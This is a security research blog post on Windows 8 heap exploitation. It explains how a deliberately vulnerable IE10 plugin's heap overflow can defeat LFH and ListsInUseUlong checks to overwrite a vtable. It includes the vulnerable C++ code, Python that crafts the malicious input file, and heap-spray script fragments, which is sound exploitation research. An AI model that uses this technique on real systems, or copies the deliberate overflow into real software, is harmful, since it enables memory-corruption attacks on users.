Heap overflow bug can potentionaly lead to alter heap in that way, that you can rule on its allocation / deallocation mechanism. Nowdays it is litle bit harder, because you need to fullfill some subset of prerequisities for choosen technique, and it is in more than less case not possible.
This post will describe how to break even LFH trough plugin, custom PoC for IE10 on win8 CP, vulnerable to winXP-8CP backend attack.
Prerequisites for this blogpost is to read details about introduced exploitation technique :
- Presentation slides for #SyScan360 : How Safe is your Link ?
- Technical description is also available
PoC plugin brief info :
- block all sites except c:\exploitme.html
- In case of accessing google.com
- load & parse c:\blocklist.log
- parsing file can cause creating another small same sized objects (with vtable) on the heap!
- (at least one ) heap buffer overflow bug
12345678910111213141516171819202122232425__checkReturn bool CEnigmaPlugIn::CollectBlockFilters(__in_bcount(size) const void* buff,__in size_t size, BYTE deep /*= 0*/ ){//...if (m_temp0.GetSize() >= block->StringSize){block_filter->ReHash();*((ULONG_PTR*)m_temp0.GetMemory() + 1) =block_filter->GetProxyHS()->Hash;//overflow only in special case of size!!memcpy((WCHAR*)m_temp0.GetMemory() + 2 * sizeof(ULONG_PTR),block_filter->GetProxyHS()->UniString.Buffer,block_filter->GetProxyHS()->UniString.Length * sizeof(WCHAR));//overflow of (2 * sizeof(ULONG_PTR)) * sizeof(WCHAR))//overwrite m_leak_ultiSentinelreturn true;}...}
Introduced BackEnd exploitation & fooling LFH :
- Initial state of plugin custom heap :
123456CAutoMalloc m_temp0;//can be overflowedCAutoMalloc m_leak_ultiSentinel;//overflow results to overwriteCAutoMalloc m_temp1;CAutoMalloc m_duplo;CAutoMalloc m_temp2;CAutoMalloc m_unlinkerForever;
kinda weird, but it will be exaplained soon …
- Due to present heap overflow bug, resizable chunk, and nature of file buffer used in plugin code, is possible to do small leak & reusing already used memory – for details of this technique read mentioned materials
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475class CAutoMalloc{public:CAutoMalloc(__in size_t size){m_size = 0;m_mem = MEMORY.alloc(size);if (m_mem)m_size = size;}~CAutoMalloc(){if (m_mem)MEMORY.free(m_mem);}__checkReturn bool Resize(__in size_t size){void* t_mem = MEMORY.alloc(size);if (t_mem){if (m_mem){//memcpy(t_mem, m_mem, min(size, m_size));MEMORY.free(m_mem);}m_mem = t_mem;m_size = size;return true;}m_size = 0;return false;}//...}__checkReturn bool CEnigmaPlugIn::CollectBlockFilters(__in_bcount(size) const void* buff, ...){//...while (5*m_filterPos/4 >= m_leak_ultiSentinel.GetSize() / 2){m_leak_ultiSentinel.Resize(m_leak_ultiSentinel.GetSize() * 2);m_leak_ultiSentinel.Resize(m_leak_ultiSentinel.GetSize() * 2);}//...}void CEnigmaPlugIn::ReLoadBlockList(){CFileReader file("c:/blocklist.log");if (file.GetSize() > 0x100000)return;CAutoMalloc auto_mem(file.GetSize());void* file_buff = auto_mem.GetMemory();if (file_buff){file.ReadFrom(file_buff, auto_mem.GetSize(), 0);CollectBlockFilters(file_buff, auto_mem.GetSize());}} - As i mentioned in plugin are created small vtable objects on the fly
1234567891011121314151617181920212223242526272829303132333435363738#define MIN_URL_SIZE (1 << 7)struct HASH_STRING{ULONG_PTR Hash;WSTRING UniString;private:WCHAR buff[MIN_URL_SIZE+ 1];};class CFilter{public:virtual bool GetFilter(__inout void* buff) = 0;};class CBlockFilter : public CFilter{//..functions..HASH_STRING m_hstr;};//..__checkReturn bool CEnigmaPlugIn::CollectBlockFilters(__in_bcount(size) const void* buff, ...){//..CBlockFilter* block_filter = (CBlockFilter*)New(sizeof(CBlockFilter));::new(block_filter) CBlockFilter((BYTE*)(block + 1) +block->StringPos,block->StringSize);//..}
size of object CBlockFilter is small, and with old know 0x12 consecutive allocations is possible to trigger creation of LFH userdata block. So final plan is :- leak memory chunk (MEM_X), which size > particular LFH userdata block (LFH_BLOCK_X) size
- alloc MEM_X once as user writeable buffer
- relink MEM_X back to heapsprayed data, where it was originaly placed …
- trigger to alloc LFH_BLOCK_X, but in MEM_X !
- but fail! This time it seems, something goes wrong (or unexpected right! in view of defender – validity checks are fully implemented ? ) …
ListsInUseUlong, last man standing :
- when is trigerred LFH some additional pre-allocation is performed and _HEAP_LIST_LOOKUP.ArraySize is updated (depending if ListHints contains bigger chunk than LFH try to alloc).
- In this state of heap is performed another search -> by using ListsInUseUlong!
- Search by walking trough ListHints is validation free approach, and in that case we have no problem
- But search by walking trough ListsInUseUlong, is kinda another approach again no validating, this counts for us, but to the ListsInUseUlong is memory chunk inserted when it is freed and also cleared when it is allocated. Problem is, that we already allocated our memory chunk and due to this it is cleared from ListsInUseUlong, and in attemp to find chunk for LFH userdata block is used ListsInUseUlong… So how to insert it back ?
- ListsInUseUlong is just bitmap and thats it! Bitmap is able to cover just one deputy per size, and due this have to be clear another option how to link something back even it is already used…
In other words, if _HEAP_ENTRY(FLink).Size is same size then bit is not cleared and_HEAP_LIST_LOOKUP.ListHints is updated by this FLink
- Make an update in logic :
- leak memory chunk (MEM_X), which size > particular LFH userdata block (LFH_BLOCK_X) size [insert MEM_X to ListInUseUlong]
- alloc MEM_X once as user writeable buffer [clear MEM_X from ListInUseUlong]
- relink MEM_X back to heapsprayed data, where it was originaly placed …
- free already used memory chunk (MEM_Y) same size as MEM_X – link MEM_Y to HeapSpray just before MEM_X; MEM_Y.Flink == MEM_X && MEM_X.Blink == MEM_Y [update ListInUseUlong by MEM_Y]
- alloc memory chunk which use MEM_Y [update ListInUseUlong by MEM_X]
- trigger to alloc LFH_BLOCK_X, but in MEM_X !
- everything is fine, LFH userdata is used for CBlockFilter object as well as for user writable buffer ;)
- now just rewrite some of the VTABLE :P
Implementation :
- Python craft “c:/blocklist.log” includes 3phases:
- Leak
- Link Leak back to ListInUseUlong
- Alloc Leak also as LFH & rewrite some vtable object
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647def CraftForExploit2(self):self.m_ebin.write("\x00" * 0x08)returndef CraftForExploit1(self):a_size = 0for i in range(0, 0x13):b_size = 0if (i != 0x12):if (i == 0x11):bfr = self.__GetDummyRes(STR_SIZE - 4, 0, STR_SIZE - 4, 0, i)heap_entry = HEAP_ENTRY(0, 0x4141, 0x41, 0x41, 0x23404408)b_size = self.__WriteBfrToEBin(bfr, heap_entry, "\x00", 1)else:bfr = self.__GetDummyRes(STR_SIZE, 0, STR_SIZE, 0, i)b_size = self.__WriteBfrToEBin(bfr, [], "\x00", 1)else:bfr = self.__GetDummyRes(0, 0, 0, 0, i)b_size = self.__WriteBfrToEBin(bfr, [], "\x00", 1)a_size += b_sizeprint hex(a_size)self.m_ebin.write("\x00" * (((0x3000 / 8 - 3) * 8) - a_size))#alignreturndef CraftForExploit3(self):a_size = 0bfr = self.__GetDummyRes(0x10, 0x10, 0x10, 0x10, 0x666)bfr.Crypted = 1;a_size +=self.__WriteBfrToEBin(bfr, [], "\x00", 1)bfr = self.__GetDummyRes(BFR_SIZE, 0, 0x10, 0x280 * 8 * 2, 0x667)bfr.Crypted = 1;print ["!!!!!!!!! ", hex(bfr.CryptoSize)]a_size +=self.__WriteBfrToEBin(bfr, [], "\x00", 1)for i in range(0, 10):bfr = self.__GetDummyRes(STR_SIZE + 0x10, STR_SIZE + 0x10,STR_SIZE + 10, 0, 20)a_size += self.__WriteBfrToEBin(bfr, [], "\x20\x44\x40\x23", 4)print hex(a_size)self.m_ebin.write("\x00" * (0x1000 - a_size))#alignreturn - html5 heap spray -js handling
- just relink Leak back
12345678910var HEAP_BLOCK_SIZE = (0x1000000 * 6);var MEMORY_CHANGED = 0x666;function MemoryChangeDetected(pos, ind){//relink back!m_memory[pos + ind] = m_data[ind];return false;}
Referenced materials :
This post & idea of technique is based on talk by Brett Moore’s Exploiting Freelist[0] On XP Service Pack 2 and on talk by Matt Conover & Oded Horovitz Windows Heap Exploitation.
And also should be readed some mittigation materials Fermín J. Serna: Exploits & Mitigations: EMET; Ken Johnson, Matt Miller Exploit Mitigation Improvements in Windows 8.
Conclusions : As was mentioned in presentation How Safe is your Link ? security implementation needs to be implemented whithout shorcuts.
As you can see ListInUseUlong bitmaps usage and logic is imeplemented correctly*. Set and clear bitmap ensures that in _HEAP_LIST_LOOKUP.ListHints are only valid memory chunks and that implies secure alloc / free. But ‘non-secure’ FreeListSearch algo introduced in previous post allow to bypass ListInUseUlong safe mechanism.
So keep in mind that even small security hole can cause troubles and break down another secure processing…
Vulnerable plugin, and .py script for crafting data for this plugin as well, are both just illustrative and not important too much, so i did not it include to sources on github. These was used just for illustrating of idea itself – but if you want to see that, i will provide it to you, just ping me on my email
* AGAIN except missed validation check when checked if FLink is same sized .
0 Comments.